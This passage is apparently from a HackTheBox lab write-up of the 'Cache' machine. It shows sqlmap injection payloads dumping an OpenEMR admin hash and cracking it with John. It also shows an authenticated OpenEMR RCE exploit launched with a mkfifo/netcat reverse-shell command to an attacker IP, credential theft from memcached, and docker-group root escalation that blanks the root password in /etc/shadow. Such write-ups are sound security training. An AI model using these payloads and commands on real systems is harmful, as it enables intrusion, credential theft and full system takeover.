[09:32:55] [INFO] testing 'MySQL &amp;gt;= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[09:32:58] [INFO] testing 'MySQL &amp;gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[09:33:01] [INFO] URI parameter '#1*' is 'MySQL &amp;gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 346 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: error-based
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://hms.htb:80/portal/find_appt_popup_user.php?catid='||(SELECT 0x426c764c WHERE 3030=3030 AND (SELECT 8964 FROM(SELECT COUNT(*),CONCAT(0x7176786a71,(SELECT (ELT(8964=8964,1))),0x71716b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'
---
[09:33:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL &amp;gt;= 5.0
[09:33:17] [INFO] fetched data logged to text files under '/home/snowscan/.sqlmap/output/hms.htb'

[*] ending @ 09:33:17 /2020-05-10/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We’ll dump the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;users_secure&lt;/code&gt; table containg the password hash.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/cache$ sqlmap -u &quot;http://hms.htb/portal/find_appt_popup_user.php?catid=*&quot; --cookie=&quot;OpenEMR=vp4f9asgbv507vpt84cioecmbg; PHPSESSID=cs1o3vot21n4odtira0s19iqu1&quot; --technique E --dbms=mysql -D openemr -T users_secure --dump
        ___
       __H__                                                                                                       
 ___ ___[)]_____ ___ ___  {1.4.4#stable}                                                                           
|_ -| . [']     | .'| . |                                                                                          
|___|_  [,]_|_|_|__,|  _|                                                                                          
      |_|V...       |_|   http://sqlmap.org                                                                        

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:34:49 /2020-05-10/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] 
[09:34:49] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[09:34:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: error-based
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://hms.htb:80/portal/find_appt_popup_user.php?catid='||(SELECT 0x426c764c WHERE 3030=3030 AND (SELECT 8964 FROM(SELECT COUNT(*),CONCAT(0x7176786a71,(SELECT (ELT(8964=8964,1))),0x71716b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'                                                                       
---
[09:34:49] [INFO] testing MySQL
[09:34:49] [INFO] confirming MySQL
[09:34:50] [WARNING] reflective value(s) found and filtering out
[09:34:50] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL &amp;gt;= 5.0.0
[09:34:50] [INFO] fetching columns for table 'users_secure' in database 'openemr'
[09:34:50] [INFO] retrieved: 'id'
[09:34:50] [INFO] retrieved: 'bigint(20)'
[09:34:50] [INFO] retrieved: 'username'
[09:34:50] [INFO] retrieved: 'varchar(255)'
[09:34:50] [INFO] retrieved: 'password'
[09:34:50] [INFO] retrieved: 'varchar(255)'
[09:34:50] [INFO] retrieved: 'salt'
[09:34:50] [INFO] retrieved: 'varchar(255)'
[09:34:50] [INFO] retrieved: 'last_update'
[09:34:50] [INFO] retrieved: 'timestamp'
[09:34:50] [INFO] retrieved: 'password_history1'
[09:34:50] [INFO] retrieved: 'varchar(255)'
[09:34:50] [INFO] retrieved: 'salt_history1'
[09:34:50] [INFO] retrieved: 'varchar(255)'
[09:34:50] [INFO] retrieved: 'password_history2'
[09:34:50] [INFO] retrieved: 'varchar(255)'
[09:34:50] [INFO] retrieved: 'salt_history2'
[09:34:50] [INFO] retrieved: 'varchar(255)'
[09:34:50] [INFO] fetching entries for table 'users_secure' in database 'openemr'
[09:34:50] [INFO] retrieved: '1'
[09:34:51] [INFO] retrieved: '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.'
[09:34:51] [INFO] retrieved: '2019-11-21 06:38:40'
[09:34:51] [INFO] retrieved: ' '
[09:34:51] [INFO] retrieved: ' '
[09:34:51] [INFO] retrieved: '$2a$05$l2sTLIG6GTBeyBf7TAKL6A$'
[09:34:51] [INFO] retrieved: ' '
[09:34:51] [INFO] retrieved: ' '
[09:34:51] [INFO] retrieved: 'openemr_admin'
Database: openemr
Table: users_secure
[1 entry]
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| id   | salt                           | username      | password                                                     | last_update         | salt_history1 | salt_history2 | password_history1 | password_history2 |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| 1    | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL          | NULL          | NULL              | NULL              |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+

[09:34:51] [INFO] table 'openemr.users_secure' dumped to CSV file '/home/snowscan/.sqlmap/output/hms.htb/dump/openemr/users_secure.csv'                                                                                               
[09:34:51] [INFO] fetched data logged to text files under '/home/snowscan/.sqlmap/output/hms.htb'

[*] ending @ 09:34:51 /2020-05-10/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then with John we can crack that hash and get the password: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xxxxxx&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/cache$ john -w=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxx           (?)
1g 0:00:00:00 DONE (2020-05-10 09:41) 7.692g/s 6646p/s 6646c/s 6646C/s tristan..felipe
Use the &quot;--show&quot; option to display all of the cracked passwords reliably
Session completed
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;openemr-remote-code-execution&quot;&gt;OpenEMR remote code execution&lt;/h2&gt;

&lt;p&gt;Checking searchsploit, I see a RCE exploit for our version.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;OpenEMR &amp;lt; 5.0.1 - (Authenticated) Remote Code Execution
[...]
searchsploit -x 45161

# Title: OpenEMR &amp;lt; 5.0.1 - Remote Code Execution
# Author: Cody Zacharias
# Date: 2018-08-07
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile 
# Version: &amp;lt; 5.0.1 (Patch 4)
# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
# References:
# https://www.youtube.com/watch?v=DJSQ8Pk_7hc
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Launching exploit and getting that first shell:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/cache$ python exploit.py http://hms.htb/ -u openemr_admin -p xxxxxx -c 'rm /tmp/s;mkfifo /tmp/s;cat /tmp/s|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.14.10 4444 &amp;gt;/tmp/s'
 .---.  ,---.  ,---.  .-. .-.,---.          ,---.    
/ .-. ) | .-.\ | .-'  |  \| || .-'  |\    /|| .-.\   
| | |(_)| |-' )| `-.  |   | || `-.  |(\  / || `-'/   
| | | | | |--' | .-'  | |\  || .-'  (_)\/  ||   (    
\ `-' / | |    |  `--.| | |)||  `--.| \  / || |\ \   
 )---'  /(     /( __.'/(  (_)/( __.'| |\/| ||_| \)\  
(_)    (__)   (__)   (__)   (__)    '-'  '-'    (__) 
                                                       
   ={   P R O J E C T    I N S E C U R I T Y   }=    
                                                       
         Twitter : @Insecurity                       
         Site    : insecurity.sh                     

[$] Authenticating with openemr_admin:xxxxxx
[$] Injecting payload
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/cache$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.188] 34032
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn(&quot;/bin/bash&quot;)'
www-data@cache:/var/www/hms.htb/public_html/interface/main$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From there we can su to user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ash&lt;/code&gt; and use the same password we found earlier on the javascript code for the useless login page.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www-data@cache:/var/www/hms.htb/public_html/interface/main$ su -l ash
su -l ash
Password: H@v3_fun

ash@cache:~$ cd
cd
ash@cache:~$ cat user.txt
cat user.txt
d415c4620a9ea235eac89874e513dcb0
ash@cache:~$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;pivot-to-user-luffy&quot;&gt;Pivot to user luffy&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; file contains another user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;luffy&lt;/code&gt; but I see there’s also a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcache&lt;/code&gt; user.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ash@cache:~$ tail -n 10 /etc/passwd
tail -n 10 /etc/passwd
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
ash:x:1000:1000:ash:/home/ash:/bin/bash
luffy:x:1001:1001:,,,:/home/luffy:/bin/bash
memcache:x:111:114:Memcached,,,:/nonexistent:/bin/false
mysql:x:112:115:MySQL Server,,,:/nonexistent:/bin/false
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Yup, memcache is running on there.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ash@cache:~$ netstat -panut | grep 11211
netstat -panut | grep 11211
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:11211         127.0.0.1:38902         ESTABLISHED -                   
tcp        0      0 127.0.0.1:11211         127.0.0.1:38888         TIME_WAIT   -                   
tcp        0      0 127.0.0.1:38902         127.0.0.1:11211         ESTABLISHED -
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Memcache doesn’t require authentication so we can pull information from the cache just by connecting and sending commands on port 11211. Here we’ll get information about the slabs.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ash@cache:~$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
stats slabs
stats slabs
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 5
STAT 1:free_chunks 10917
STAT 1:free_chunks_end 0
STAT 1:mem_requested 371
STAT 1:get_hits 0
STAT 1:cmd_set 1070
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048576
END
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What’s really useful for us is the information about the keys. With the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stats cachedump&lt;/code&gt; command we can see the keys currently stored.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get&lt;/code&gt; command and the key name, we find some credentials in the cached values: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;luffy / 0n3_p1ec3&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;get link
VALUE link 0 21
https://hackthebox.eu
END

get user
VALUE user 0 5
luffy
END

get passwd
VALUE passwd 0 9
0n3_p1ec3
END

get file
VALUE file 0 7
nothing
END

get account
VALUE account 0 9
afhj556uo
END
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I can see as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;luffy&lt;/code&gt; now:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/cache$ ssh luffy@10.10.10.188
luffy@10.10.10.188's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-99-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun May 10 13:53:17 UTC 2020

  System load:  0.13              Processes:              196
  Usage of /:   74.5% of 8.06GB   Users logged in:        1
  Memory usage: 21%               IP address for ens160:  10.10.10.188
  Swap usage:   0%                IP address for docker0: 172.17.0.1


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

107 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun May 10 13:49:37 2020 from 10.10.14.52
luffy@cache:~$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;privesc&quot;&gt;Privesc&lt;/h2&gt;

&lt;p&gt;Luffy is a member of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker&lt;/code&gt; group so he can start new containers.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;luffy@cache:~$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s already a ubuntu image on the box so I don’t even to upload my own.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;luffy@cache:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        7 months ago        64.2MB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I can launch the container and mount the root filesystem inside of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mnt/pwn&lt;/code&gt; and read the root.txt flag.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;luffy@cache:~$ docker run -v /:/mnt/pwn -ti ubuntu
root@6c8efcc60a41:/# cd /mnt/pwn/root
root@6c8efcc60a41:/mnt/pwn/root# ls
root.txt
root@6c8efcc60a41:/mnt/pwn/root# cat root.txt
61673a57f540ad2350f46e78e6c4b8a1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To log in as root I can just null out the root password with the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@697e85ba9d8a:/mnt/pwn/etc# sed -i s/root:.*:18178:0:99999:7:::/root::18178:0:99999:7:::/ shadow
root@f8e7727da260:/mnt/pwn/etc/pam.d# sed -i s/nullok_secure/nullok/ common-auth
luffy@cache:~$ su
root@cache:/home/luffy# id
uid=0(root) gid=0(root) groups=0(root)
root@cache:/home/luffy# cat /root/root.txt
61673a57f540ad2350f46e78e6c4b8a1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</content><author><name>Snowscan</name><email>info@snowscan.io</email></author><category term="hackthebox" /><category term="infosec" /><category term="javascript" /><category term="client-side validation" /><category term="sqli" /><category term="vhost" /><category term="openemr" /><category term="cve" /><category term="john" /><category term="memcached" /><category term="docker" /><summary type="html">On Cache, we start off with bypassing a simple login form that uses client-side user/password validation, then find a vhost with a vulnerable OpenEMR application. After bypassing the login page, obtaining a valid session cookie and dumping the database through a SQLi injection vulnerability we exploit yet another OpenEMR CVE to get a shell. From there we have access to a memcache instance holding more credentials in memory so we can escalate to another user. Using the docker group membership of that last user, we're able to launch a privileged container and get root privileges on the host itself.</summary></entry></feed>